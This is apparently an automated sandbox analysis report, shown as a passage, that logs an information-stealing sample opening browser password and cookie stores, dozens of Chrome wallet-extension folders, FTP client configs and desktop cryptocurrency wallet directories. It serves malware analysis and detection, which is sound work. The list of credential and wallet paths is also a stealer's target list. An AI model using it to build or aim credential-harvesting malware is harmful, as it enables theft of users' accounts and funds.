Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
